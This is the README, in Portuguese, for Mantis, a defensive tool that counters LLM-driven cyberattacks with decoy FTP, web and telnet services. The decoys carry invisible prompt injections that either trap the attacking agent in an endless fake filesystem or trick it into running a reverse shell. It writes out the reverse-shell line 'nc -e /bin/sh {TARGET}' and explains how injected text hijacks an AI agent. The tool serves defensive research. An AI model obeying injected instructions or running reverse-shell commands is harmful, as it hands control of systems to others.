Projeto Mantis: Contra-atacando o Hacker de IA

Injeção de Prompt como Defesa Contra Ciberataques Conduzidos por LLM

Instalar o Mantis

pip install -r requirements.txt

Executar o Mantis com configurações pré-definidas

Várias configurações pré-definidas estão disponíveis no diretório ./confs.

Contra-ataque

Um exemplo de arquivo de configuração do Mantis é fornecido em ./confs/ftp_hackback_rshell.py. O que essa configuração significa e como você pode escolher a sua será explicado mais adiante neste README. Isso pode ser executado usando o script mantis_run.py:

python mantis_run.py confs.ftp_hackback_rshell

Executar o Mantis com confs/ftp_hackback_rshell.py criará um servidor de isca FTP com credenciais anônimas que tem como objetivo enganar o agente-LLM atacante para que ele abra um shell reverso por meio de injeções de prompt (invisíveis). Quando acionado, ele cria um listener de shell reverso na porta especificada para teste (⚠️ esta configuração não é destinada à produção ⚠️).

Uma variação do exemplo acima, que usa um webapp vulnerável a injeção de SQL como isca, pode ser executada via:

python mantis_run.py confs.web_hackback_rshell

Outra configuração é fornecida em confs/web_hackback_rshell_with_inj_banner.py, que é uma variação de confs.web_hackback_rshell. Esta configuração emprega injeção de banner de serviço para atrair atacantes. A injeção pode ser controlada usando o hiperparâmetro: BANNER_INJECTION_POOL (consulte o conteúdo de confs/web_hackback_rshell_with_inj_banner.py para um exemplo).

Em todos esses exemplos, usamos um iniciador de shell reverso muito simples: nc -e /bin/sh {TARGET} .... Isso pode ser alterado modificando a variável REVERSE_SHELL_INITIATOR no arquivo de configuração (por exemplo, confs/ftp_hackback_rshell.py), onde o parâmetro {TARGET} é o IP do host (que é definido automaticamente pelo Mantis). Se você quiser automatizar o pós-exploração do atacante, pode modificar ou substituir a classe Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest. Mais detalhes sobre como os arquivos de configuração funcionam serão apresentados mais adiante.

Tarpit

Outro exemplo é ./confs/ftp_filesystem_tarpit.py:

python mantis_run.py confs.ftp_filesystem_tarpit

Isso inicia um servidor FTP falso com um sistema de arquivos infinitamente profundo e injeções de prompt (invisíveis) personalizadas para manter o agente-LLM atacante preso. A complexidade do tarpit pode ser definida por meio da variável EXPECTED_NUMBER_OF_DIRECTORIES em ./confs/ftp_filesystem_tarpit.py.

Compreendendo os arquivos de configuração

Um arquivo de configuração define o comportamento do Mantis; quais iscas usar, quando usá-las e o que fazer quando alguém (ou algo) tenta explorá-las. Embora sejam bastante verbosos, os arquivos de configuração no diretório ./conf oferecem uma visão geral de como é a configuração. Mais praticamente, eles são uma lista de variáveis definidas em um script Python (não particularmente estruturado).

As únicas duas variáveis obrigatórias que DEVEM ser definidas em um arquivo de configuração são: DECOYS e TRIGGER_EVENTS.

DECOYS

Como o nome sugere, essa estrutura de dados define as iscas que o Mantis deve executar quando iniciado. Especificamente, é um dicionário Python onde cada entrada é uma porta atribuída a uma isca, com a porta como chave e uma tupla contendo a “classe de isca” e a “configuração de isca” como valor. Uma “classe de isca” é uma subclasse de “./Mantis/Decoys.DecoyService,” e a “configuração de isca” é um dicionário Python (possivelmente vazio) que oferece opções de personalização para a isca. Discutiremos esses detalhes mais adiante.

Vamos usar ./confs/ftp_filesystem_tarpit.py como exemplo de uma variável DECOYS:

DECOYS = {
    21 : (
    		TarpitFTP , {
        	'name':'into_tarpit',
        	'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
        }
    ),
}

Aqui há uma única isca (TarpitFTP) rodando na porta 21. A “configuração de isca” vem com duas variáveis: name, um nome associado a uma isca específica que nos ajudará a gerenciar melhor TRIGGER_EVENTS mais adiante, e outro dicionário hparams que pode ser usado para passar dados arbitrários à classe de isca. Se a variável name não for definida, seu valor padrão é "decoy". Os valores em hparams podem ser acessados posteriormente no objeto da isca por meio do atributo self.hparams. No exemplo, isso é usado para definir o número de diretórios esperados no tarpit baseado em sistema de arquivos.

O exemplo mostra uma única isca, mas o número pode ser arbitrário (desde que haja uma porta livre).

Iscas disponíveis

O Mantis vem com algumas classes de isca que podem ser usadas imediatamente. São elas:

• Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: Um servidor FTP falso com credenciais anônimas habilitadas.
• Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: Um servidor FTP falso com credenciais anônimas habilitadas que implementa um sistema de arquivos infinitamente profundo.
• Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: Um servidor web com uma página de login vulnerável a injeção de SQL.
• Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: Um servidor telnet falso com autenticação fraca.

Pretendemos expandir esta lista, mas como veremos mais adiante neste README, criar sua própria isca não é ciência de foguetes.

TRIGGER_EVENTS

Aqui vem a parte complicada. A variável TRIGGER_EVENTS define o comportamento do Mantis quando usuários externos (pessoas ou agentes) interagem com uma isca. A forma como essa variável de configuração é definida pode parecer desnecessariamente complicada, mas você pode acabar apreciando a liberdade que ela concede (talvez).

O TRIGGER_EVENTS é outro dicionário Python, onde uma entrada é definida da seguinte forma:

 TRIGGER : (
      INJECTION_FUNCTION, 
      {
        'invisible_shell':INVISIBLE_SHELL?,
        'invisible_html':INVISIBLE_HTML?
      },
      EXECUTION_TRIGGER_POOL,
      PAYLOAD_POOL,
      SERVICES_TO_SPAWN,
      TO_KILL?,
  ),
    

Aqui, uma entrada define o que fazer quando uma isca sinaliza um evento de gatilho. A seguir, vamos considerar cada parâmetro separadamente:

TRIGGER

A chave TRIGGER é uma string que nos permite mapear o evento de gatilho para o conjunto correspondente de ações (o valor da entrada do dicionário).

No caso geral, isso pode ser definido como o nome atribuído à isca ao definir a variável DECOYS, conforme explicado acima. Por exemplo, para ./confs/ftp_filesystem_tarpit.py, isso deve ser definido como "into_tarpit". Se você não definiu um nome para sua isca, pode definir TRIGGER como "decoy". Se você configurar várias iscas, deve nomeá-las e usar esses nomes para mapear o evento de gatilho correto em TRIGGER_EVENTS. Por exemplo, com as seguintes iscas:

DECOYS = {
    21 : (
    		TarpitFTP , {
        	'name':'ftp_tarpit',
        	'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
        }
    ),

   80: (
		WebFakeDB_sqlinj, {
		'name': 'sql_injection'
		}
	),
}

Seus eventos de gatilho devem ser assim:

TRIGGER_EVENTS = {
	'ftp_tarpit' : (...),
	'sql_injection' : (...),
}

A parte complicada, porém, é que cada isca pode ter múltiplos eventos de gatilho com nomes diferentes (dê uma olhada em ./confs/ftp_filesystem_tarpit.py). Vamos pular isso por enquanto 😇.

INJECTION_FUNCTION